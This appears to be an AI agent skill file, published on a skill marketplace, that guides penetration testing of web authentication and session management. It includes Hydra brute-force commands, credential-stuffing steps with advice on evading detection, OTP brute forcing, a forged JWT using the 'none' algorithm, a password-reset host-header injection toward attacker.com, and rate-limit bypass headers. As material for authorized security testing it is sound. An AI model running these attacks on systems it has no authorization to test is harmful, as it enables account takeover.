This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
Add this skill
npx mdskills install sickn33/broken-authenticationComprehensive security testing guide with clear phases, examples, and practical command references
1---2name: Broken Authentication Testing3description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.4metadata:5 author: zebbern6 version: "1.1"7---89# Broken Authentication Testing1011## Purpose1213Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.1415## Prerequisites1617### Required Knowledge18- HTTP protocol and session mechanisms19- Authentication types (SFA, 2FA, MFA)20- Cookie and token handling21- Common authentication frameworks2223### Required Tools24- Burp Suite Professional or Community25- Hydra or similar brute-force tools26- Custom wordlists for credential testing27- Browser developer tools2829### Required Access30- Target application URL31- Test account credentials32- Written authorization for testing3334## Outputs and Deliverables35361. **Authentication Assessment Report** - Document all identified vulnerabilities372. **Credential Testing Results** - Brute-force and dictionary attack outcomes383. **Session Security Analysis** - Token randomness and timeout evaluation394. **Remediation Recommendations** - Security hardening guidance4041## Core Workflow4243### Phase 1: Authentication Mechanism Analysis4445Understand the application's authentication architecture:4647```48# Identify authentication type49- Password-based (forms, basic auth, digest)50- Token-based (JWT, OAuth, API keys)51- Certificate-based (mutual TLS)52- Multi-factor (SMS, TOTP, hardware tokens)5354# Map authentication endpoints55/login, /signin, /authenticate56/register, /signup57/forgot-password, /reset-password58/logout, /signout59/api/auth/*, /oauth/*60```6162Capture and analyze authentication requests:6364```http65POST /login HTTP/1.166Host: target.com67Content-Type: application/x-www-form-urlencoded6869username=test&password=test12370```7172### Phase 2: Password Policy Testing7374Evaluate password requirements and enforcement:7576```bash77# Test minimum length (a, ab, abcdefgh)78# Test complexity (password, password1, Password1!)79# Test common weak passwords (123456, password, qwerty, admin)80# Test username as password (admin/admin, test/test)81```8283Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.8485### Phase 3: Credential Enumeration8687Test for username enumeration vulnerabilities:8889```bash90# Compare responses for valid vs invalid usernames91# Invalid: "Invalid username" vs Valid: "Invalid password"92# Check timing differences, response codes, registration messages93```9495# Password reset96"Email sent if account exists" (secure)97"No account with that email" (leaks info)9899# API responses100{"error": "user_not_found"}101{"error": "invalid_password"}102```103104### Phase 4: Brute Force Testing105106Test account lockout and rate limiting:107108```bash109# Using Hydra for form-based auth110hydra -l admin -P /usr/share/wordlists/rockyou.txt \111 target.com http-post-form \112 "/login:username=^USER^&password=^PASS^:Invalid credentials"113114# Using Burp Intruder1151. Capture login request1162. Send to Intruder1173. Set payload positions on password field1184. Load wordlist1195. Start attack1206. Analyze response lengths/codes121```122123Check for protections:124125```bash126# Account lockout127- After how many attempts?128- Duration of lockout?129- Lockout notification?130131# Rate limiting132- Requests per minute limit?133- IP-based or account-based?134- Bypass via headers (X-Forwarded-For)?135136# CAPTCHA137- After failed attempts?138- Easily bypassable?139```140141### Phase 5: Credential Stuffing142143Test with known breached credentials:144145```bash146# Credential stuffing differs from brute force147# Uses known email:password pairs from breaches148149# Using Burp Intruder with Pitchfork attack1501. Set username and password as positions1512. Load email list as payload 11523. Load password list as payload 2 (matched pairs)1534. Analyze for successful logins154155# Detection evasion156- Slow request rate157- Rotate source IPs158- Randomize user agents159- Add delays between attempts160```161162### Phase 6: Session Management Testing163164Analyze session token security:165166```bash167# Capture session cookie168Cookie: SESSIONID=abc123def456169170# Test token characteristics1711. Entropy - Is it random enough?1722. Length - Sufficient length (128+ bits)?1733. Predictability - Sequential patterns?1744. Secure flags - HttpOnly, Secure, SameSite?175```176177Session token analysis:178179```python180#!/usr/bin/env python3181import requests182import hashlib183184# Collect multiple session tokens185tokens = []186for i in range(100):187 response = requests.get("https://target.com/login")188 token = response.cookies.get("SESSIONID")189 tokens.append(token)190191# Analyze for patterns192# Check for sequential increments193# Calculate entropy194# Look for timestamp components195```196197### Phase 7: Session Fixation Testing198199Test if session is regenerated after authentication:200201```bash202# Step 1: Get session before login203GET /login HTTP/1.1204Response: Set-Cookie: SESSIONID=abc123205206# Step 2: Login with same session207POST /login HTTP/1.1208Cookie: SESSIONID=abc123209username=valid&password=valid210211# Step 3: Check if session changed212# VULNERABLE if SESSIONID remains abc123213# SECURE if new session assigned after login214```215216Attack scenario:217218```bash219# Attacker workflow:2201. Attacker visits site, gets session: SESSIONID=attacker_session2212. Attacker sends link to victim with fixed session:222 https://target.com/login?SESSIONID=attacker_session2233. Victim logs in with attacker's session2244. Attacker now has authenticated session225```226227### Phase 8: Session Timeout Testing228229Verify session expiration policies:230231```bash232# Test idle timeout2331. Login and note session cookie2342. Wait without activity (15, 30, 60 minutes)2353. Attempt to use session2364. Check if session is still valid237238# Test absolute timeout2391. Login and continuously use session2402. Check if forced logout after set period (8 hours, 24 hours)241242# Test logout functionality2431. Login and note session2442. Click logout2453. Attempt to reuse old session cookie2464. Session should be invalidated server-side247```248249### Phase 9: Multi-Factor Authentication Testing250251Assess MFA implementation security:252253```bash254# OTP brute force255- 4-digit OTP = 10,000 combinations256- 6-digit OTP = 1,000,000 combinations257- Test rate limiting on OTP endpoint258259# OTP bypass techniques260- Skip MFA step by direct URL access261- Modify response to indicate MFA passed262- Null/empty OTP submission263- Previous valid OTP reuse264265# API Version Downgrade Attack (crAPI example)266# If /api/v3/check-otp has rate limiting, try older versions:267POST /api/v2/check-otp268{"otp": "1234"}269# Older API versions may lack security controls270271# Using Burp for OTP testing2721. Capture OTP verification request2732. Send to Intruder2743. Set OTP field as payload position2754. Use numbers payload (0000-9999)2765. Check for successful bypass277```278279Test MFA enrollment:280281```bash282# Forced enrollment283- Can MFA be skipped during setup?284- Can backup codes be accessed without verification?285286# Recovery process287- Can MFA be disabled via email alone?288- Social engineering potential?289```290291### Phase 10: Password Reset Testing292293Analyze password reset security:294295```bash296# Token security2971. Request password reset2982. Capture reset link2993. Analyze token:300 - Length and randomness301 - Expiration time302 - Single-use enforcement303 - Account binding304305# Token manipulation306https://target.com/reset?token=abc123&user=victim307# Try changing user parameter while using valid token308309# Host header injection310POST /forgot-password HTTP/1.1311Host: attacker.com312email=victim@email.com313# Reset email may contain attacker's domain314```315316## Quick Reference317318### Common Vulnerability Types319320| Vulnerability | Risk | Test Method |321|--------------|------|-------------|322| Weak passwords | High | Policy testing, dictionary attack |323| No lockout | High | Brute force testing |324| Username enumeration | Medium | Differential response analysis |325| Session fixation | High | Pre/post-login session comparison |326| Weak session tokens | High | Entropy analysis |327| No session timeout | Medium | Long-duration session testing |328| Insecure password reset | High | Token analysis, workflow bypass |329| MFA bypass | Critical | Direct access, response manipulation |330331### Credential Testing Payloads332333```bash334# Default credentials335admin:admin336admin:password337admin:123456338root:root339test:test340user:user341342# Common passwords343123456344password34512345678346qwerty347abc123348password1349admin123350351# Breached credential databases352- Have I Been Pwned dataset353- SecLists passwords354- Custom targeted lists355```356357### Session Cookie Flags358359| Flag | Purpose | Vulnerability if Missing |360|------|---------|------------------------|361| HttpOnly | Prevent JS access | XSS can steal session |362| Secure | HTTPS only | Sent over HTTP |363| SameSite | CSRF protection | Cross-site requests allowed |364| Path | URL scope | Broader exposure |365| Domain | Domain scope | Subdomain access |366| Expires | Lifetime | Persistent sessions |367368### Rate Limiting Bypass Headers369370```http371X-Forwarded-For: 127.0.0.1372X-Real-IP: 127.0.0.1373X-Originating-IP: 127.0.0.1374X-Client-IP: 127.0.0.1375X-Remote-IP: 127.0.0.1376True-Client-IP: 127.0.0.1377```378379## Constraints and Limitations380381### Legal Requirements382- Only test with explicit written authorization383- Avoid testing with real breached credentials384- Do not access actual user accounts385- Document all testing activities386387### Technical Limitations388- CAPTCHA may prevent automated testing389- Rate limiting affects brute force timing390- MFA significantly increases attack difficulty391- Some vulnerabilities require victim interaction392393### Scope Considerations394- Test accounts may behave differently than production395- Some features may be disabled in test environments396- Third-party authentication may be out of scope397- Production testing requires extra caution398399## Examples400401### Example 1: Account Lockout Bypass402403**Scenario:** Test if account lockout can be bypassed404405```bash406# Step 1: Identify lockout threshold407# Try 5 wrong passwords for admin account408# Result: "Account locked for 30 minutes"409410# Step 2: Test bypass via IP rotation411# Use X-Forwarded-For header412POST /login HTTP/1.1413X-Forwarded-For: 192.168.1.1414username=admin&password=attempt1415416# Increment IP for each attempt417X-Forwarded-For: 192.168.1.2418# Continue until successful or confirmed blocked419420# Step 3: Test bypass via case manipulation421username=Admin (vs admin)422username=ADMIN423# Some systems treat these as different accounts424```425426### Example 2: JWT Token Attack427428**Scenario:** Exploit weak JWT implementation429430```bash431# Step 1: Capture JWT token432Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature433434# Step 2: Decode and analyze435# Header: {"alg":"HS256","typ":"JWT"}436# Payload: {"user":"test","role":"user"}437438# Step 3: Try "none" algorithm attack439# Change header to: {"alg":"none","typ":"JWT"}440# Remove signature441eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.442443# Step 4: Submit modified token444Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.445```446447### Example 3: Password Reset Token Exploitation448449**Scenario:** Test password reset functionality450451```bash452# Step 1: Request reset for test account453POST /forgot-password454email=test@example.com455456# Step 2: Capture reset link457https://target.com/reset?token=a1b2c3d4e5f6458459# Step 3: Test token properties460# Reuse: Try using same token twice461# Expiration: Wait 24+ hours and retry462# Modification: Change characters in token463464# Step 4: Test for user parameter manipulation465https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com466# Check if admin's password can be reset with test user's token467```468469## Troubleshooting470471| Issue | Solutions |472|-------|-----------|473| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |474| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |475| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |476| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |477
Full transparency — inspect the skill content before installing.